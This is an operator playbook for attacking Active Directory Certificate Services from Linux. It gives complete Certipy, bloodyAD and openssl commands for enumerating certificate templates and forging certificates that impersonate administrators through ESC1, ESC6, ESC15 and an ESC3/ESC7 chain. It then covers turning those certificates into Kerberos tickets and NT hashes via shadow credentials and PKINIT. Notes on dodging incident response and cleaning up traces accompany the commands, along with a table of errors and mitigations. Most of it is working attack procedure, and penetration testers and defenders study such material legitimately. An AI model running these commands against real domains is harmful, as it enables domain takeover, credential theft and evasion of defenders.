Purpose: Linux-first, Kerberos-driven workflow for enumerating an enterprise PKI with Certipy, identifying ESC1/3/4/6/7/8/9/11/15 conditions, minting forged-SAN / on-behalf-of certs, and turning a .pfx into a TGT + NT hash via PKINIT β€” with the exact controls that contained it in a real multi-CA forest.

Prereqs / context: Domain-joined Linux operator box; certipy v4.8.2, impacket v0.14.0.dev, bloodyAD, openssl. Auth is Kerberos throughout (-k -no-pass + a ccache), no cleartext needed. Real environment was an 11-CA / ~69-template forest (4 child domains under a forest root); web enrollment disabled and RPC request-encryption enforced on every CA. Account-prefix shorthand used below: <FOOTHOLD>$ = controlled machine account, <SVC> = PKI service account, <ADMIN> = Tier-0 target, <TARGET>$ = victim computer.


0. Kerberos setup (machine-account context from a keytab)

sudo kinit -k -t /etc/krb5.keytab '<FOOTHOLD>$@<REALM>'      # TGT for the operator box's own machine account
sudo cp /tmp/krb5cc_0 /tmp/krb5cc_machine                    # copy root's ccache to a readable path
sudo chmod 644 /tmp/krb5cc_machine                           # make it usable as your shell user
export KRB5CCNAME=/tmp/krb5cc_machine                        # point all impacket/certipy/bloodyAD here
klist                                                        # confirm principal + krbtgt service ticket

Match the ccache realm to the DC you query. A user ccache from one child domain against another domain's DC throws KDC_ERR_WRONG_REALM(Reserved for future use) on every CA-config probe (see the notes below).


1. Enumerate the PKI β€” certipy find

certipy find -u '<FOOTHOLD>$@<DOMAIN>' -k -no-pass -dc-ip <DC_IP> -target <DC_FQDN> -vulnerable -enabled -stdout    # quick triage to terminal
certipy find -u '<FOOTHOLD>$@<DOMAIN>' -k -no-pass -dc-ip <DC_IP> -output adcs -debug                              # full dump β†’ adcs_Certipy.{txt,json,zip} (+BloodHound)
certipy find -u '<USER>@<DOMAIN>' -p '<USER_PW>' -dc-ip <DC_IP> -stdout                                            # same with a password instead of ccache
  • -vulnerable -enabled filters to enabled templates Certipy flags; drop -vulnerable for the full picture β€” Certipy's analysis only reasons about your current identity, so it hides ESC1/ESC3 templates that a pivot identity (Domain Computers, a delegation group) could enroll. The real win came from re-reading the unfiltered -debug stanzas.
  • Certipy probes each CA's config first over CSRA (DCOM), then falls back to RRP (remote registry): User Specified SAN, Request Disposition, Enforce Encryption for Requests, Web Enrollment, and CA-level ManageCa/ManageCertificates/Enroll ACLs. CSRA returning E_ACCESSDENIED is normal for a low-priv principal β€” RRP still recovers the config.
  • -debug prints Adding Domain Computers to list of current user's SIDs β€” a tell that machine-account enrollment ACLs (ESC1/ESC3 carriers) are in play.

Read the CA table for these flags:

CA flag Meaning if set ESC
User Specified SAN : Enabled EDITF_ATTRIBUTESUBJECTALTNAME2 set β†’ requester picks SAN ESC6
Request Disposition : Issue No manager approval at CA level enables ESC1/6
Web Enrollment : Enabled HTTP/CES front-end (relay target) ESC8
Enforce Encryption for Requests : Disabled Unauthenticated RPC enroll possible ESC11
ManageCa / ManageCertificates to non-admins CA officer / config control ESC7

2. Map templates to ESCs (what to grep the dump for)

  • ESC1: Enrollee Supplies Subject : True + EKU includes Client Authentication (or Smart Card Logon / PKINIT / Any Purpose) + Requires Manager Approval : False + Authorized Signatures Required : 0, enrollable by you.
  • ESC2: EKU Any Purpose (or empty) β€” sign anything.
  • ESC3: EKU Certificate Request Agent (Enrollment Agent) β€” mint on-behalf-of others.
  • ESC4: you hold Write/WriteDacl/WriteOwner (Write Property Principals, etc.) on the template object β†’ rewrite it into an ESC1.
  • ESC9: template has CT_FLAG_NO_SECURITY_EXTENSION (Enrollment Flag : NoSecurityExtension) β†’ issued cert lacks the SID extension.
  • ESC15 / EKUwu (CVE-2024-49019): schema v1 template with Enrollee Supplies Subject β†’ inject application policies in the CSR.
certipy find ... -stdout | grep -A40 'Template Name'                                  # eyeball stanzas
bloodyAD -d <DOMAIN> -u '<FOOTHOLD>$' -k 'ccache=/tmp/krb5cc_machine' --host <DC_FQDN> get search --base 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<PARENT>,DC=<TLD>' --filter '(objectClass=pKICertificateTemplate)' --attr cn,msPKI-Enrollment-Flag,msPKI-Certificate-Name-Flag,pKIExtendedKeyUsage    # authoritative template flags from AD
bloodyAD ... get search --base 'CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=<PARENT>,DC=<TLD>' --filter '(objectClass=pKIEnrollmentService)' --attr cn,dnsHostName,certificateTemplates    # CA→template publish map
bloodyAD ... get search --base 'CN=Certificate Templates,...' --filter '(&(objectClass=pKICertificateTemplate)(msPKI-RA-Signature=*))' --attr cn,msPKI-RA-Signature,pKIExtendedKeyUsage,msPKI-RA-Application-Policies    # find EA-gated (ESC3 on-behalf-of) target templates

Resolve enrollment-rights SIDs to names β€” ESC1 templates often look "locked" but the allowed group nests whole L2/L3 IT teams. Walk the group: bloodyAD ... get object '<GROUP_DN>' --attr member memberOf.


3. Shadow Credentials (the cleanest foothold β†’ key material)

If you hold msDS-KeyCredentialLink write over a computer/user (common in over-permissive ACL estates), this is the highest-signal-to-noise primitive and auto-rolls back:

certipy shadow auto -u '<FOOTHOLD>$@<DOMAIN>' -k -no-pass -dc-ip <DC_IP> -target <DC_FQDN> -account '<TARGET>$'    # add KCL β†’ PKINIT β†’ UnPAC NT hash β†’ restore KCL

Output gives a .ccache (TGT) and the NT hash of <TARGET>$ for pass-the-hash / over-PtH. -target <DC_FQDN> is mandatory. Chain it: a machine account with KCL-write over a second computer in the same OU recovers that one's hash too.


4. ESC6 β€” User-Specified SAN (EDITF_ATTRIBUTESUBJECTALTNAME2)

When a CA has User Specified SAN : Enabled, you supply the SAN at request time on any template you can enroll. Certipy flags it verbatim:

ESC6 : Enrollees can specify SAN and Request Disposition is set to Issue. Does not work after May 2022

Confirm the CA actually honors the attacker SAN, then request:

certipy req -u '<FOOTHOLD>$@<DOMAIN>' -hashes :<NT_HASH> -ca '<CA>' -target <CA_HOST> -template '<TEMPLATE>'                                              # baseline enroll (proves access)
certipy req -u '<FOOTHOLD>$@<DOMAIN>' -hashes :<NT_HASH> -ca '<CA>' -target <CA_HOST> -template '<TEMPLATE>' -upn '<ADMIN>@<DOMAIN>'                      # forge a UPN SAN
certipy req -u '<FOOTHOLD>$@<DOMAIN>' -k -no-pass -ca '<CA>' -target <CA_HOST> -template '<TEMPLATE>' -dns '<DC_FQDN>' -upn '<ADMIN>@<DOMAIN>' -sid <DOMAIN_SID>-500    # forge UPN+DNS+SID

Certipy confirms with Got certificate with UPN '<ADMIN>@<DOMAIN>' / Certificate object SID is '<DOMAIN_SID>-...'. In this engagement the CA issued attacker-UPN and attacker-DNS certs successfully β€” but DA did not follow (see Β§8 and Gotchas): the issued cert still carried the requester's real SID extension.


5. ESC1 β€” Enrollee-Supplies-Subject + Client-Auth EKU

certipy req -u '<FOOTHOLD>$@<DOMAIN>' -k -no-pass -ca '<CA>' -target <CA_HOST> -template '<ESC1_TEMPLATE>' -upn '<ADMIN>@<DOMAIN>' -sid <DOMAIN_SID>-500    # ESC1: arbitrary subject + Client Auth β†’ impersonation cert

Always pass -sid on a patched CA β€” without it modern KDCs reject the cert at the binding check. The template must have a Client-Auth-class EKU; a Server-Auth-only template issues fine but is useless for PKINIT (KDC_ERR_INCONSISTENT_KEY_PURPOSE).


6. ESC15 / EKUwu (CVE-2024-49019) β€” application-policy injection on v1 templates

certipy req -u '<FOOTHOLD>$@<DOMAIN>' -k -no-pass -ca '<CA>' -target <CA_HOST> -template '<V1_TEMPLATE>' -application-policies 'Client Authentication' -upn '<ADMIN>@<DOMAIN>'    # inject Client-Auth app policy
certipy req ... -template '<V1_TEMPLATE>' -application-policies '1.3.6.1.4.1.311.20.2.1'    # inject Certificate Request Agent (EA) policy for an ESC3 pivot

Only works on schema v1 ESS templates; here the issuing CA stripped the injected application policy on v2 templates β†’ no-op (immune/patched).


7. ESC7 β€” ManageCA / ManageCertificates (PKI-wide pivot)

If any principal you control holds ManageCertificates (officer/approve) or ManageCa (config) on a CA, you can approve your own denied requests and bootstrap an Enrollment-Agent cert. The full chain that took a PKI service account to forest root:

# (a) Submit an EA template you're NOT permitted to enroll β€” request is DENIED but a request ID + private key are saved
certipy req -u '<SVC>@<DOMAIN>' -k -ca '<CA>' -template '<EA_TEMPLATE>' -dc-ip <DC_IP> -target <CA_HOST> -out ea    # β†’ CERTSRV_E_TEMPLATE_DENIED (0x80094012); note "Request ID is <REQ>"

# (b) Officer-approve it via ESC7 ManageCertificates
certipy ca -u '<SVC>@<DOMAIN>' -k -dc-ip <DC_IP> -ca '<CA>' -target <CA_HOST> -issue-request <REQ>    # β†’ "Successfully issued certificate"

# (c) Retrieve the now-issued cert (certipy saves PEM .crt only, doesn't re-pair the .key)
certipy req -u '<SVC>@<DOMAIN>' -k -ca '<CA>' -dc-ip <DC_IP> -target <CA_HOST> -retrieve <REQ> -out ea    # β†’ ea.crt

# (d) Recombine key+cert into a usable PFX yourself
openssl pkcs12 -export -out ea.pfx -inkey ea.key -in ea.crt -passout pass:    # β†’ ea.pfx (EA cert, EKU Certificate Request Agent)

# (e) DUAL-CRED on-behalf-of: auth as a permitted enrollee (-k ccache) while signing with the EA cert (-pfx)
KRB5CCNAME=<machine>.ccache certipy req -u '<TARGET>$@<DOMAIN>' -k -ca '<FAS_CA>' -template '<FAS_TEMPLATE>' -on-behalf-of '<NETBIOS>\<ADMIN>' -pfx ea.pfx -dc-ip <DC_IP> -target <CA_HOST> -out victim    # mint a cert AS <ADMIN>

ManageCa extras (config-side, DCOM only):

certipy ca -u '<SVC>@<DOMAIN>' -k -dc-ip <DC_IP> -ca '<CA>' -target <CA_HOST> -list-templates                       # what the CA runtime offers
certipy ca -u '<SVC>@<DOMAIN>' -k -dc-ip <DC_IP> -ca '<CA>' -target <CA_HOST> -dc-host <DC_FQDN> -enable-template '<TEMPLATE>'    # publish a template (CA registry only!)

Split-brain gotcha: -enable-template writes the CA's local registry but not the AD pKIEnrollmentService.certificateTemplates attribute (that ACL is Enterprise-Admin-gated). Requests then fail CERTSRV_E_UNSUPPORTED_CERT_TYPE because the AD-side lookup says the template isn't bound. ESC7 gives you DCOM ManageCa, not LDAP write β€” don't expect to fix it with bloodyAD/ldap3 (insufficientAccessRights on LDAPS).

Cross-domain on-behalf-of needs the exact NETBIOS prefix β€” blank or FQDN both yield 0x80070547 "Denied by Policy Module":

bloodyAD -d <DOMAIN> -u '<SVC>' -k --host <DC_FQDN> get search --base 'CN=Partitions,CN=Configuration,DC=<PARENT>,DC=<TLD>' --filter '(&(objectClass=crossRef)(systemFlags:1.2.840.113556.1.4.803:=2))' --attr nETBIOSName,nCName,dnsRoot    # enumerate forest NETBIOS β†’ use '<PARENT_NETBIOS>\<ADMIN>$'

8. Authenticate with the PFX β€” PKINIT β†’ TGT + NT hash

certipy auth -pfx victim.pfx -dc-ip <DC_IP> -domain <DOMAIN>             # PKINIT β†’ TGT (.ccache) + UnPAC NT hash
certipy auth -pfx victim.pfx -dc-ip <DC_IP> -domain <DOMAIN> -debug      # add -debug to read the precise KDC error
certipy auth -pfx victim.pfx -dc-ip <DC_IP> -domain <DOMAIN> -ldap-shell # fall back to Schannel LDAP if PKINIT EKU is missing
  • Auth must target a DC of the cert's own domain. A forest-root-DC cert PKINIT'd against a child DC IP returns Wrong domain name specified '<PARENT>'; point -dc-ip at the root DC.
  • Success prints Got TGT / Saved credential cache / Got hash for '...'. The hash is for pass-the-hash/DCSync (no cracking required).

What Went Wrong

Symptom (verbatim) Cause Fix / meaning
KDC_ERR_WRONG_REALM(Reserved for future use) on every CA config probe ccache realm β‰  the -dc-ip DC's domain (queried with a child-domain user vs another child's DC) Use a ccache/DC of the same domain, or accept partial output (User Specified SAN : Unknown).
CASessionError: 0x80070005 - E_ACCESSDENIED then Failed to connect to remote registry. Service should be starting now. Trying again... Low-priv principal can't read CA config via CSRA/DCOM Normal β€” Certipy auto-falls back to RRP (remote registry) and recovers config.
0x80094012 - CERTSRV_E_TEMPLATE_DENIED Not in the template's enrollment ACL Pivot identity (shadow-cred a Domain Computer / delegation-group member), or ESC7 officer-approve.
0x80094800 - CERTSRV_E_UNSUPPORTED_CERT_TYPE Template not published on that CA (or -enable-template split-brain) Pick a CA that publishes it; AD certificateTemplates must list it.
0x80094809 - CERTSRV_E_SIGNATURE_POLICY_REQUIRED EA/RA template needs an existing EA signature to enroll (chicken-and-egg) Bootstrap an EA cert elsewhere via ESC7, then use it as the -pfx signer.
CERTSRV_E_BAD_RENEWAL_SUBJECT On-behalf-of target template has msPKI-RA-Signature = 0 Only EA-target templates with msPKI-RA-Signature β‰₯ 1 accept on-behalf-of.
0x80070547 "Denied by Policy Module" (cross-domain) Wrong/blank/FQDN NETBIOS in -on-behalf-of Use exact <NETBIOS>\<principal> from the crossRef enum.
KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found...) Forged UPN points at an account with no userPrincipalName (e.g. built-in Administrator) Target a principal that actually has a UPN, or use -sid.
KDC_ERR_INCONSISTENT_KEY_PURPOSE(Certificate cannot be used for PKINIT client authentication) Cert's EKU is Server-Authentication only (no Client Auth) The template, not the binding, is the wall. This rejection is UPSTREAM of the SID/binding check β€” it proves NOTHING about StrongCertificateBindingEnforcement. Don't over-claim "compatibility mode."
Object SID mismatch between certificate and user '<ADMIN>' KB5014754 patched CA embedded the requester's SID in szOID_NTDS_CA_SECURITY_EXT, not the SAN target's A patched/enforcing DC maps by real SID β†’ forgery yields your own identity. This is why ESC6 + ESC1-pattern templates did NOT yield DA.
Authenticated to '...' as: None (LDAP/Schannel) Schannel cert-mapping enforces the same SID binding as PKINIT Schannel is not a PKINIT bypass; anonymous bind = mapping rejected.
whoami command failed, certificate seems not trusted by the Active Directory (passthecert.py) Server-Auth EKU and/or CA not trusted for client auth Cert unusable for AD client auth β€” not a viable path.
KDC_ERR_SERVICE_REVOKED on a structurally-valid Tier-0 cert Target in Protected Users / MFA (PhoneFactor) / NOT_DELEGATED / emergency hardening User-tier defense-in-depth working as designed. Pivot to a DC machine account (no MFA, can't be NOT_DELEGATED) if you have the chain.
Certipy says Certificate has no object SID Misleading β€” the SID extension IS present, just for the wrong (requester) identity Don't trust the message; inspect the actual SID in Certificate object SID is ....

Which ESCs were live vs mitigated here: - ESC6 β€” LIVE flag, contained: EDITF_ATTRIBUTESUBJECTALTNAME2 set on one CA; attacker UPN/DNS certs issued, but KB5014754 SID embedding + enforcing DC binding stopped the impersonation. Report as (High, config) "remove the flag" + (Verify) "confirm all DCs at StrongCertificateBindingEnforcement = 2." - ESC1 β€” LIVE pattern, contained: ESS+ClientAuth+no-approval+0-sig templates existed but enrollment was scoped to delegation groups the foothold wasn't in (and Server-Auth-only templates it could hit failed on EKU). Latent DA path for any enrollment-group member; not demonstrated from the machine-account foothold. - ESC3+ESC7 chain β€” LIVE end-to-end (separate foothold): a compromised PKI service account with ManageCertificates + an EA template whose enrollment ACL included Domain Computers, against a FAS CA in NTAuth, produced a DC-machine-account cert β†’ PKINIT β†’ forest root. Tier-0 user impersonation was still blocked by MFA/Protected Users; the DC machine account route bypassed that by design. - ESC8 β€” MITIGATED: web enrollment disabled on all CAs. - ESC11 β€” MITIGATED: RPC request encryption enforced on all CAs. - ESC9 β€” MITIGATED: no NoSecurityExtension template present. - ESC15/EKUwu β€” MITIGATED: app-policy injection stripped on v2 templates. - ESC4 β€” MITIGATED: no template objects writable from the foothold.


Detection / OPSEC

  • Cert issuance for a Tier-0/DA principal is high-signal β€” in this engagement an IR ticket opened ~20 min after a DA-named cert was minted (AD CS audit events 4886/4887 on the CA host). Avoid forging well-known DA names for proofs; use a benign owned account or a DC machine account.
  • certipy find touches every CA via DCOM + remote registry (RemoteRegistry auto-start) and writes a BloodHound zip β€” noisy and disk-touching. Prefer targeted -stdout over full -output when stealth matters.
  • ESC7 officer-approve (-issue-request) and -enable-template are logged as privileged CA operations; -on-behalf-of requests show an EA signer β‰  subject.
  • Shadow-cred via shadow auto writes then restores msDS-KeyCredentialLink (DeviceID logged briefly); cleaner than manual add/remove.

Cleanup

  • certipy shadow auto self-reverts the KCL; if you used shadow add, run certipy shadow remove ... -account '<TARGET>$' (or restore the saved blob).
  • Revoke/track every issued cert by request ID; an ESC7 holder can certipy ca ... -revoke-request <REQ>. Note serials for the client to revoke CA-side.
  • Delete local artifacts: *.pfx *.crt *.key *.ccache *_Certipy.{txt,json,zip}.
  • Undo any -enable-template (certipy ca ... -disable-template '<TEMPLATE>') and remove any ACEs/template edits you added.

References

  • Certipy (Oliver Lyak / ly4k): https://github.com/ly4k/Certipy β€” find, req, ca, auth, shadow, -on-behalf-of, -application-policies.
  • SpecterOps "Certified Pre-Owned" (ESC1–ESC8 origin): https://posts.specterops.io/certified-pre-owned-d95910965cd2
  • ESC9–ESC11 / SID extension: https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-and-new-authentication-and-request-methods-d3b47004256
  • ESC15 / EKUwu (CVE-2024-49019): https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc
  • KB5014754 (certificate-based auth changes / StrongCertificateBindingEnforcement, SID szOID_NTDS_CA_SECURITY_EXT): https://support.microsoft.com/help/5014754
  • bloodyAD: https://github.com/CravateRouge/bloodyAD β€” template/CA/group attribute reads, crossRef forest enum.
  • impacket passthecert.py (Schannel LDAP with a cert): https://github.com/fortra/impacket